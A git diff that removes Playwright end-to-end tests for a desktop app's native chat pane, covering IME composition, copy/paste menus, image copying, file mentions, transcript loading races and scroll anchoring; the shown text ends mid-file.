'session_id', id: sessionId, transcriptPath } - } - ) - const tab = (state.unifiedTabsByWorktree[worktreeId] ?? []).find( - (candidate) => candidate.contentType === 'terminal' && candidate.entityId === tabId - ) - if (!tab) { - throw new Error('Terminal tab unavailable') - } - state.toggleTabViewMode(tab.id) - }, - { ...descriptor, tabId, sessionId, transcriptPath } - ) - - const chat = orcaPage.locator('[data-native-chat-root="true"]') - await expect(chat.getByText('Ready for input.')).toBeVisible() - const composer = chat.getByRole('textbox') - await composer.click() - await expect(composer).toBeFocused() - const session = await orcaPage.context().newCDPSession(orcaPage) - await composer.evaluate((element) => { - const log: string[] = [] - for (const type of ['keydown', 'keypress', 'keyup', 'beforeinput', 'compositionstart']) { - element.addEventListener( - type, - (event) => { - const detail = - event instanceof KeyboardEvent - ? `${event.key}/${event.keyCode}/${event.charCode}` - : event instanceof InputEvent - ? `${event.inputType}/${event.data}` - : '' - log.push(`${type}:${detail}`) - document.documentElement.dataset.sogouEventLog = JSON.stringify(log) - }, - true - ) - } - }) - - await pinyinKeyUps(session, 'ni') - await plainSelectorPick(session, { key: ' ', code: 'Space', keyCode: 32 }, '你') - await expect.poll(() => draft(composer)).toBe('你') - // Guards the replay itself: it must match the recorded fixture shape. - expect( - await orcaPage.evaluate((): unknown => - JSON.parse(document.documentElement.dataset.sogouEventLog ?? '[]') - ) - ).toEqual([ - 'keyup:n/78/0', - 'keyup:i/73/0', - 'keydown: /32/0', - `keypress: /20320/20320`, - 'beforeinput:insertText/你', - 'keyup: /32/0' - ]) - - await pinyinKeyUps(session, 'hao') - await plainSelectorPick(session, { key: '3', code: 'Digit3', keyCode: 51 }, '浩') - await expect.poll(() => draft(composer)).toBe('你浩') - - await pinyinKeyUps(session, 'nihao') - await processPhrasePick(session, { key: ' ', code: 'Space', keyCode: 32 }, '你好') - await expect.poll(() => draft(composer)).toBe('你浩你好') - - await pinyinKeyUps(session, 'ni') - await plainSelectorPick(session, { key: ' ', code: 'Space', keyCode: 32 }, '你', { - key: '\u0000', - keyCode: 0 - }) - await expect.poll(() => draft(composer)).toBe('你浩你好你') - - // Client-preedit engines compose instead; the commit must land the same way. - await session.send('Input.imeSetComposition', { - text: '好', - selectionStart: 1, - selectionEnd: 1 - }) - await session.send('Input.insertText', { text: '好' }) - await expect.poll(() => draft(composer)).toBe('你浩你好你好') - - await composer.pressSequentially(' ok') - await expect.poll(() => draft(composer)).toBe('你浩你好你好 ok') - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(chat).toBeVisible() -}) diff --git a/tests/e2e/native-chat-context-menu-copy-paste.spec.ts b/tests/e2e/native-chat-context-menu-copy-paste.spec.ts deleted file mode 100644 index 1c45a657b92..00000000000 --- a/tests/e2e/native-chat-context-menu-copy-paste.spec.ts +++ /dev/null @@ -1,188 +0,0 @@ -import { observeTranscriptPaneLifetime } from './helpers/native-chat-transcript-fixture' -import { randomUUID } from 'node:crypto' -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -const FIRST = 'Firstparagraph bravo charlie delta.' -const SECOND = 'Secondparagraph echo foxtrot golf.' -const PASTED = 'Clipboard text belongs in this composer.' - -test('chat right-click offers Copy for selected text and Paste in the composer only', async ({ - orcaPage, - electronApp -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - const sessionId = `e2e-context-menu-${randomUUID()}` - const scratchDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-native-chat-menu-')) - const transcriptPath = path.join(scratchDir, `${sessionId}.jsonl`) - const row = (index: number, role: 'user' | 'assistant', text: string): string => - JSON.stringify({ - sessionId, - uuid: `${sessionId}-${index}`, - timestamp: new Date(Date.now() - (10 - index) * 1_000).toISOString(), - type: role, - message: { role, model: 'claude-opus-4', content: [{ type: 'text', text }] } - }) - writeFileSync( - transcriptPath, - `${row(0, 'user', 'Question alpha')}\n${row(1, 'assistant', `${FIRST}\n\n${SECOND}`)}\n` - ) - const finishLifetime = await observeTranscriptPaneLifetime(orcaPage, { - tabId, - worktreeId: descriptor.worktreeId, - paneKey: descriptor.paneKey - }) - const nativeMenu = await electronApp.evaluateHandle(({ Menu }) => { - const originalBuild = Menu.buildFromTemplate - const originalPopup = Menu.prototype.popup - const menus: InstanceType[] = [] - let opened: InstanceType | null = null - // Keep the real menu builder and callbacks; intercept only its OS popup. - Menu.buildFromTemplate = (...args) => { - const menu = originalBuild(...args) - menus.push(menu) - menu.popup = () => { - opened = menu - } - return menu - } - return { - items: () => - opened?.items.map((item) => ({ label: item.label, enabled: item.enabled })) ?? [], - paste: () => { - const item = opened?.items.find((candidate) => candidate.label === 'Paste') - if (!item?.enabled) { - throw new Error('The actual native composer menu has no enabled Paste command') - } - item.click() - }, - restore: () => { - Menu.buildFromTemplate = originalBuild - for (const menu of menus) { - menu.popup = originalPopup - } - } - } - }) - try { - // Substitute only the clipboard IPC; never touch the user's system clipboard. - await electronApp.evaluate(({ ipcMain }, pasteText) => { - ipcMain.removeHandler('clipboard:writeText') - ipcMain.handle('clipboard:writeText', (_event, text: string) => { - process.env.ORCA_E2E_COPIED_TEXT = text - }) - ipcMain.removeHandler('clipboard:readText') - ipcMain.handle('clipboard:readText', () => pasteText) - ipcMain.removeHandler('clipboard:readFilePaths') - ipcMain.handle('clipboard:readFilePaths', () => []) - ipcMain.removeHandler('clipboard:hasImage') - ipcMain.handle('clipboard:hasImage', () => false) - }, PASTED) - const takeCopiedText = (): Promise => - electronApp.evaluate(() => { - const text = process.env.ORCA_E2E_COPIED_TEXT ?? null - delete process.env.ORCA_E2E_COPIED_TEXT - return text - }) - await orcaPage.evaluate( - async ({ paneKey, worktreeId, sessionId, transcriptPath, tabId }) => { - const settings = await window.api.settings.set({ - nativeChatProviders: { claude: true, codex: true } - }) - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - store.setState({ settings }) - const state = store.getState() - state.setAgentStatus( - paneKey, - { state: 'done', prompt: 'context menu proof', agentType: 'claude' }, - 'Claude', - undefined, - { worktreeId }, - { providerSession: { key: 'session_id', id: sessionId, transcriptPath } } - ) - const tab = (state.unifiedTabsByWorktree[worktreeId] ?? []).find( - (candidate) => candidate.contentType === 'terminal' && candidate.entityId === tabId - ) - if (!tab) { - throw new Error('Terminal tab unavailable') - } - state.toggleTabViewMode(tab.id) - }, - { ...descriptor, sessionId, transcriptPath, tabId } - ) - const first = orcaPage.getByText(FIRST) - const second = orcaPage.getByText(SECOND) - await expect(first).toBeVisible({ timeout: 30_000 }) - const menu = orcaPage.locator('[data-native-chat-context-menu]') - const copy = menu.getByRole('menuitem', { name: /^Copy\s*(⌘C|Ctrl\+C)$/ }) - const paste = menu.getByRole('menuitem', { name: 'Paste', exact: true }) - - // Nothing selected: neither edit action applies to a message. - await second.click({ button: 'right' }) - await expect(menu).toBeVisible() - await expect(copy).toHaveCount(0) - await expect(paste).toHaveCount(0) - expect(await nativeMenu.evaluate((menu) => menu.items())).toEqual([]) - - // The press lands on the selection: a menu opened elsewhere drops it on purpose. - await first.click({ clickCount: 3 }) - await first.click({ button: 'right' }) - await copy.click() - await expect.poll(takeCopiedText).toContain(FIRST) - await expect - .poll(() => orcaPage.evaluate(() => window.getSelection()?.toString() ?? '')) - .toContain(FIRST) - - if (process.platform === 'darwin') { - await first.click({ clickCount: 3 }) - await first.click({ modifiers: ['Control'] }) - await copy.click() - await expect.poll(takeCopiedText).toContain(FIRST) - } - - const composer = orcaPage.locator('[data-native-chat-root="true"]').getByRole('textbox') - await composer.click() - await expect(composer).toBeFocused() - await composer.click({ button: 'right' }) - await expect - .poll(() => nativeMenu.evaluate((menu) => menu.items())) - .toContainEqual({ label: 'Paste', enabled: true }) - await nativeMenu.evaluate((menu) => menu.paste()) - await expect(composer).toHaveText(PASTED) - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(orcaPage.locator('[data-native-chat-root="true"]')).toBeVisible() - } finally { - await nativeMenu.evaluate((menu) => menu.restore()) - await nativeMenu.dispose() - await testInfo.attach('transcript-pane-lifetime', { - body: JSON.stringify(await finishLifetime()), - contentType: 'application/json' - }) - rmSync(scratchDir, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/native-chat-copy-image.spec.ts b/tests/e2e/native-chat-copy-image.spec.ts deleted file mode 100644 index b33bfce75d1..00000000000 --- a/tests/e2e/native-chat-copy-image.spec.ts +++ /dev/null @@ -1,118 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { rm, writeFile } from 'node:fs/promises' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForActivePaneHookDescriptor, waitForActiveTerminalManager } from './helpers/terminal' - -test('Copy image puts the full-size image on the clipboard and keeps the preview open', async ({ - orcaPage, - electronApp, - testRepoPath -}) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - // An 800×600 copy proves the saved file was read instead of its 64×64 chip preview. - const [png, pastedPng] = await electronApp.evaluate(({ nativeImage }) => - [800, 64].map((width) => { - const height = (width * 3) / 4 - return nativeImage - .createFromBitmap(Buffer.alloc(width * height * 4, 200), { width, height }) - .toPNG() - .toString('base64') - }) - ) - // Why the repo: previews only read files under allowed roots; the test output dir isn't one. - const imageName = `copy-image-proof-${randomUUID()}.png` - const imagePath = path.join(testRepoPath, imageName) - await writeFile(imagePath, Buffer.from(png, 'base64')) - try { - // Substitute only the clipboard IPC; never touch the user's system clipboard. - await electronApp.evaluate( - ({ ipcMain, nativeImage }, { imagePath }) => { - ipcMain.removeHandler('clipboard:saveImageAsTempFile') - ipcMain.handle('clipboard:saveImageAsTempFile', () => imagePath) - ipcMain.removeHandler('clipboard:writeImage') - ipcMain.handle('clipboard:writeImage', (_event, dataUrl: string) => { - const { width, height } = nativeImage.createFromDataURL(dataUrl).getSize() - process.env.ORCA_E2E_COPIED_IMAGE_SIZE = `${width}x${height}` - }) - }, - { imagePath } - ) - const takeCopiedImageSize = (): Promise => - electronApp.evaluate(() => { - const size = process.env.ORCA_E2E_COPIED_IMAGE_SIZE ?? null - delete process.env.ORCA_E2E_COPIED_IMAGE_SIZE - return size - }) - await orcaPage.evaluate(async ({ paneKey, worktreeId }) => { - const settings = await window.api.settings.set({ - nativeChatProviders: { claude: true, codex: true } - }) - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - store.setState({ settings }) - const state = store.getState() - state.setAgentStatus( - paneKey, - { state: 'done', agentType: 'omp', prompt: '' }, - 'OMP', - undefined, - { worktreeId } - ) - const [tabId] = paneKey.split(':') - const tab = (state.unifiedTabsByWorktree[worktreeId] ?? []).find( - (candidate) => candidate.contentType === 'terminal' && candidate.entityId === tabId - ) - if (!tab) { - throw new Error('Terminal tab unavailable') - } - state.toggleTabViewMode(tab.id) - }, descriptor) - const composer = orcaPage.getByRole('textbox', { - name: 'Ask anything, @ to mention files, / for commands', - exact: true - }) - await expect(composer).toBeVisible() - await composer.evaluate((element, png) => { - const data = new DataTransfer() - const bytes = Uint8Array.from(atob(png), (character) => character.charCodeAt(0)) - data.items.add(new File([bytes], 'pasted.png', { type: 'image/png' })) - element.dispatchEvent( - new ClipboardEvent('paste', { bubbles: true, cancelable: true, clipboardData: data }) - ) - }, pastedPng) - const thumbnail = orcaPage.getByRole('button', { name: `View image: ${imageName}` }) - await expect(thumbnail).toHaveAttribute('data-native-chat-copy-image-src', /^blob:/) - const copyImage = orcaPage.getByRole('menuitem', { name: 'Copy image' }) - - await thumbnail.click({ button: 'right' }) - await copyImage.click() - await expect.poll(takeCopiedImageSize).toBe('800x600') - - await thumbnail.click() - const preview = orcaPage.getByRole('dialog') - await expect(preview.getByRole('img', { name: imageName })).toBeVisible() - // Why: the image ignores the pointer so the pan-and-zoom canvas under it takes the click. - const previewCanvas = preview.getByTestId('pan-zoom-image-canvas') - await previewCanvas.click({ button: 'right' }) - await copyImage.click() - await expect.poll(takeCopiedImageSize).toBe('800x600') - // Wait for menu dismissal before checking the preview stayed open after its click handler. - await expect(orcaPage.getByRole('menu')).toHaveCount(0) - await expect(preview).toHaveAttribute('data-state', 'open') - - await previewCanvas.click({ button: 'right' }) - await expect(copyImage).toBeVisible() - await preview.getByRole('button', { name: 'Close' }).click() - await expect(preview).toHaveCount(0) - } finally { - await rm(imagePath, { force: true }) - } -}) diff --git a/tests/e2e/native-chat-file-mention.spec.ts b/tests/e2e/native-chat-file-mention.spec.ts deleted file mode 100644 index f39e946acfe..00000000000 --- a/tests/e2e/native-chat-file-mention.spec.ts +++ /dev/null @@ -1,50 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { showActivePaneAsNativeChat } from './helpers/native-chat-view' -import { waitForActiveTerminalManager } from './helpers/terminal' - -test('typing @ in the chat composer lists workspace files and inserts the chosen one', async ({ - orcaPage -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - await showActivePaneAsNativeChat(orcaPage, 'claude', 'Claude') - - const composer = orcaPage.getByRole('textbox', { - name: 'Ask anything, @ to mention files, / for commands', - exact: true - }) - await expect(composer).toBeVisible() - await composer.click() - - await orcaPage.keyboard.type('review @') - // The sidebar's worktree list is a listbox too. - const files = orcaPage.locator('[role="listbox"][id^="native-chat-picker-"]') - await expect(files.getByRole('option', { name: /README\.md/ })).toBeVisible() - await orcaPage.screenshot({ path: testInfo.outputPath('mention-all-files.png') }) - - await orcaPage.keyboard.type('index') - const match = files.getByRole('option', { name: /index\.ts/ }) - await expect(match).toHaveAttribute('aria-selected', 'true') - await expect(files.getByRole('option', { name: /README\.md/ })).toHaveCount(0) - await orcaPage.screenshot({ path: testInfo.outputPath('mention-filtered.png') }) - - await orcaPage.keyboard.press('Enter') - await expect(composer).toHaveText('review @src/index.ts ') - await expect(files).toHaveCount(0) - - await orcaPage.keyboard.type('@zzz-no-such-file') - await expect(files).toContainText('No matching files') - // A one-off app tooltip can be open and takes the first Escape for itself. - await expect(async () => { - await orcaPage.keyboard.press('Escape') - await expect(files).toHaveCount(0, { timeout: 1000 }) - }).toPass() - await orcaPage.keyboard.type('x') - await expect(composer).toContainText('@zzz-no-such-filex') - await expect(files).toHaveCount(0) - await orcaPage.keyboard.type(' @') - await expect(files.getByRole('option', { name: /README\.md/ })).toBeVisible() -}) diff --git a/tests/e2e/native-chat-first-flush-race.spec.ts b/tests/e2e/native-chat-first-flush-race.spec.ts deleted file mode 100644 index 508ba9e47f8..00000000000 --- a/tests/e2e/native-chat-first-flush-race.spec.ts +++ /dev/null @@ -1,117 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' -import { - observeTranscriptPaneLifetime, - seedClaudeProviderSession, - toggleTerminalTabToChatView, - claudeTranscriptLines -} from './helpers/native-chat-transcript-fixture' - -const LOADING_TITLE = 'Loading conversation…' -const ERROR_TITLE = 'Could not load conversation' - -test.describe('Native chat first-flush transcript race (#8401)', () => { - test('stays in loading (never errors) until a not-yet-flushed transcript appears, then hydrates live', async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - const sessionId = `e2e-first-flush-${randomUUID()}` - - // #8401: Claude may flush its first JSONL minutes after launch; resolve providerSession before creating the file. - const scratchDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-native-chat-')) - const transcriptPath = path.join(scratchDir, `${sessionId}.jsonl`) - - const screenshotDir = testInfo.outputPath('screenshots') - mkdirSync(screenshotDir, { recursive: true }) - await testInfo.attach('validation-screenshot-dir', { - body: screenshotDir, - contentType: 'text/plain' - }) - - const finishLifetime = await observeTranscriptPaneLifetime(orcaPage, { - tabId, - worktreeId: descriptor.worktreeId, - paneKey: descriptor.paneKey - }) - try { - await seedClaudeProviderSession(orcaPage, { - paneKey: descriptor.paneKey, - worktreeId: descriptor.worktreeId, - sessionId, - transcriptPath - }) - await toggleTerminalTabToChatView(orcaPage, { tabId, worktreeId: descriptor.worktreeId }) - - await expect(orcaPage.locator('[data-native-chat-root="true"]')).toBeVisible({ - timeout: 15_000 - }) - await expect(orcaPage.getByText(LOADING_TITLE)).toBeVisible({ timeout: 10_000 }) - await expect(orcaPage.getByText(ERROR_TITLE)).toHaveCount(0) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '01-loading-no-error.png') - }) - - // Observe the uncached miss through IPC: a fixed 1500ms wait races UNFLUSHED_SETTLE_MS and retry cancellation. - await expect - .poll( - () => - orcaPage.evaluate( - ({ id, file }) => - window.api.nativeChat - .readSession('claude', id, 50, file) - .then((result) => Boolean(result && 'error' in result && result.notFound)), - { id: sessionId, file: transcriptPath } - ), - { timeout: 10_000, message: 'transcript resolved before the first flush' } - ) - .toBe(true) - await expect(orcaPage.getByText(ERROR_TITLE)).toHaveCount(0) - - const userText = 'Explain the native chat first-flush race fix for #8401' - const assistantText = - 'The main process now retries a not-yet-flushed transcript instead of caching a permanent miss.' - writeFileSync(transcriptPath, claudeTranscriptLines({ sessionId, userText, assistantText })) - - // Scope to transcript content because user text also appears in workspace/tab chrome. - const transcript = orcaPage.locator('[data-native-chat-root="true"]') - await expect(transcript.getByText(userText)).toBeVisible({ timeout: 30_000 }) - await expect(transcript.getByText(assistantText)).toBeVisible({ timeout: 30_000 }) - await expect(orcaPage.getByText(ERROR_TITLE)).toHaveCount(0) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '02-hydrated.png') - }) - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(transcript).toBeVisible() - } finally { - await testInfo.attach('transcript-pane-lifetime', { - body: JSON.stringify(await finishLifetime()), - contentType: 'application/json' - }) - rmSync(scratchDir, { recursive: true, force: true }) - } - }) -}) diff --git a/tests/e2e/native-chat-history-prepend-anchor.spec.ts b/tests/e2e/native-chat-history-prepend-anchor.spec.ts deleted file mode 100644 index 4cfab54696e..00000000000 --- a/tests/e2e/native-chat-history-prepend-anchor.spec.ts +++ /dev/null @@ -1,229 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import type { GlobalSettings } from '../../src/shared/settings/global-settings-types' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -const TRANSCRIPT_ROWS = 650 - -async function enableNativeChatSetting(page: Page): Promise { - await page.evaluate(async () => { - const nextSettings = await window.api.settings.set({ - nativeChatProviders: { claude: true, codex: true } - }) - window.__store?.setState({ settings: nextSettings as GlobalSettings }) - }) -} - -async function seedClaudeProviderSession( - page: Page, - args: { paneKey: string; worktreeId: string; sessionId: string; transcriptPath: string } -): Promise { - await page.evaluate(({ paneKey, worktreeId, sessionId, transcriptPath }) => { - window.__store - ?.getState() - .setAgentStatus( - paneKey, - { state: 'working', prompt: 'e2e history anchor probe', agentType: 'claude' }, - 'Claude', - undefined, - { worktreeId }, - { providerSession: { key: 'session_id', id: sessionId, transcriptPath } } - ) - }, args) -} - -async function toggleTerminalTabToChatView( - page: Page, - args: { tabId: string; worktreeId: string } -): Promise { - await page.evaluate(({ tabId, worktreeId }) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const unifiedTab = (state.unifiedTabsByWorktree[worktreeId] ?? []).find( - (tab) => tab.contentType === 'terminal' && tab.entityId === tabId - ) - if (!unifiedTab) { - throw new Error('Unified terminal tab not found for chat toggle') - } - state.toggleTabViewMode(unifiedTab.id) - }, args) -} - -function claudeTranscript(rowCount: number, sessionId: string): string { - const startedAt = Date.now() - rowCount * 1_000 - return `${Array.from({ length: rowCount }, (_, index) => { - const marker = `E2E transcript row ${String(index).padStart(4, '0')}` - const body = Array.from( - { length: 5 }, - (_unused, line) => `Measured paragraph ${line + 1} for row ${String(index).padStart(4, '0')}.` - ).join('\n\n') - return JSON.stringify({ - sessionId, - uuid: `${sessionId}-${index}`, - timestamp: new Date(startedAt + index * 1_000).toISOString(), - type: index % 2 === 0 ? 'user' : 'assistant', - message: { - role: index % 2 === 0 ? 'user' : 'assistant', - model: 'claude-opus-4', - content: [{ type: 'text', text: `${marker}\n\n${body}` }] - } - }) - }).join('\n')}\n` -} - -test.describe('Native chat transcript anchoring', () => { - test('keeps the visible transcript row at the same viewport offset', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - const sessionId = `e2e-prepend-anchor-${randomUUID()}` - const scratchDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-native-chat-anchor-')) - const transcriptPath = path.join(scratchDir, `${sessionId}.jsonl`) - writeFileSync(transcriptPath, claudeTranscript(TRANSCRIPT_ROWS, sessionId)) - - try { - await enableNativeChatSetting(orcaPage) - await seedClaudeProviderSession(orcaPage, { - paneKey: descriptor.paneKey, - worktreeId: descriptor.worktreeId, - sessionId, - transcriptPath - }) - // Exercise the supported manual paging fallback while the reader stays mid-transcript. - await orcaPage.evaluate(() => { - Object.defineProperty(window, 'IntersectionObserver', { - value: undefined, - configurable: true - }) - }) - await toggleTerminalTabToChatView(orcaPage, { - tabId, - worktreeId: descriptor.worktreeId - }) - - await expect(orcaPage.locator('[data-native-chat-root="true"]')).toBeVisible({ - timeout: 15_000 - }) - const scroll = orcaPage.locator('[data-native-chat-scroll]') - const transcriptWindow = orcaPage.locator('[data-native-chat-window]') - const loadEarlier = orcaPage.getByRole('button', { name: 'Load earlier messages' }) - await expect(transcriptWindow).toBeVisible({ timeout: 30_000 }) - await expect(loadEarlier).toBeAttached({ timeout: 30_000 }) - await expect - .poll(() => transcriptWindow.locator(':scope > [data-index]').count()) - .toBeGreaterThan(3) - - const initialTotalSize = await transcriptWindow.evaluate( - (element: HTMLElement) => element.offsetHeight - ) - const anchor = await scroll.evaluate(async (element) => { - element.scrollTop = element.scrollHeight * 0.55 - element.dispatchEvent(new Event('scroll', { bubbles: true })) - let previousGeometry = '' - let stableFrames = 0 - for (let frame = 0; frame < 120 && stableFrames < 5; frame += 1) { - await new Promise((resolve) => requestAnimationFrame(() => resolve())) - const geometry = `${element.scrollHeight}:${element.scrollTop}` - stableFrames = geometry === previousGeometry ? stableFrames + 1 : 0 - previousGeometry = geometry - } - const scrollRect = element.getBoundingClientRect() - const candidates = Array.from( - element.querySelectorAll('[data-native-chat-window] > [data-index]') - ).filter((row) => { - const rect = row.getBoundingClientRect() - return rect.top >= scrollRect.top + 40 && rect.bottom <= scrollRect.bottom - 40 - }) - const row = candidates[Math.floor(candidates.length / 2)] - const marker = row - ? Array.from(row.querySelectorAll('p')).find((paragraph) => - /^E2E transcript row \d{4}$/.test(paragraph.textContent?.trim() ?? '') - ) - : undefined - if (!row || !marker) { - return null - } - return { - index: Number(row.dataset.index), - marker: marker.textContent?.trim() ?? '', - scrollHeight: element.scrollHeight, - scrollTop: element.scrollTop, - viewportOffset: row.getBoundingClientRect().top - scrollRect.top - } - }) - expect(anchor, 'expected a fully visible measured row to anchor').not.toBeNull() - if (!anchor) { - throw new Error('Expected a fully visible measured row to anchor') - } - - // Invoke the off-screen button directly so Playwright cannot scroll the reader to the head before paging. - await loadEarlier.evaluate((button: HTMLButtonElement) => button.click()) - await expect - .poll(() => transcriptWindow.evaluate((element: HTMLElement) => element.offsetHeight)) - .toBeGreaterThan(initialTotalSize) - await expect(loadEarlier).toBeAttached({ timeout: 30_000 }) - - const anchoredMarker = orcaPage.getByText(anchor.marker, { exact: true }) - await expect(anchoredMarker).toBeAttached({ timeout: 15_000 }) - const after = await anchoredMarker.evaluate(async (marker) => { - const row = marker.closest('[data-index]') - const scrollRoot = marker.closest('[data-native-chat-scroll]') - if (!row || !scrollRoot) { - return null - } - let previousGeometry = '' - let stableFrames = 0 - for (let frame = 0; frame < 120 && stableFrames < 5; frame += 1) { - await new Promise((resolve) => requestAnimationFrame(() => resolve())) - const geometry = `${scrollRoot.scrollHeight}:${scrollRoot.scrollTop}` - stableFrames = geometry === previousGeometry ? stableFrames + 1 : 0 - previousGeometry = geometry - } - return { - index: Number(row.dataset.index), - scrollHeight: scrollRoot.scrollHeight, - scrollTop: scrollRoot.scrollTop, - viewportOffset: row.getBoundingClientRect().top - scrollRoot.getBoundingClientRect().top - } - }) - expect(after, 'anchored row must remain mounted after history prepends').not.toBeNull() - expect(after?.index).toBe(anchor.index + 200) - const contentGrowth = (after?.scrollHeight ?? 0) - anchor.scrollHeight - const scrollAdjustment = (after?.scrollTop ?? 0) - anchor.scrollTop - expect( - Math.abs(contentGrowth - scrollAdjustment), - `content grew ${contentGrowth}px while scrollTop adjusted ${scrollAdjustment}px` - ).toBeLessThanOrEqual(2) - expect(Math.abs((after?.viewportOffset ?? 0) - anchor.viewportOffset)).toBeLessThanOrEqual(3) - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(orcaPage.locator('[data-native-chat-root="true"]')).toBeVisible() - } finally { - rmSync(scratchDir, { recursive: true, force: true }) - } - }) -}) diff --git a/tests/e2e/native-chat-inline-image-preview.spec.ts b/tests/e2e/native-chat-inline-image-preview.spec.ts deleted file mode 100644 index 0e91957be2f..00000000000 --- a/tests/e2e/native-chat-inline-image-preview.spec.ts +++ /dev/null @@ -1,188 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { copyFileSync, existsSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' -import { - claudeTranscriptLines, - seedClaudeProviderSession, - toggleTerminalTabToChatView -} from './helpers/native-chat-transcript-fixture' - -test.use({ orcaAppExtraEnv: { ORCA_BACKGROUND_LAUNCH: '1' } }) - -const sourceImage = path.resolve( - __dirname, - '..', - '..', - 'docs', - 'site', - 'public', - 'docs', - 'ways-to-run-run-on.png' -) - -function transcript(sessionId: string, imagePath: string): string { - return claudeTranscriptLines({ - sessionId, - userText: 'Show the inline image preview.', - assistantText: [ - 'The table uses the actual local image source:', - '', - 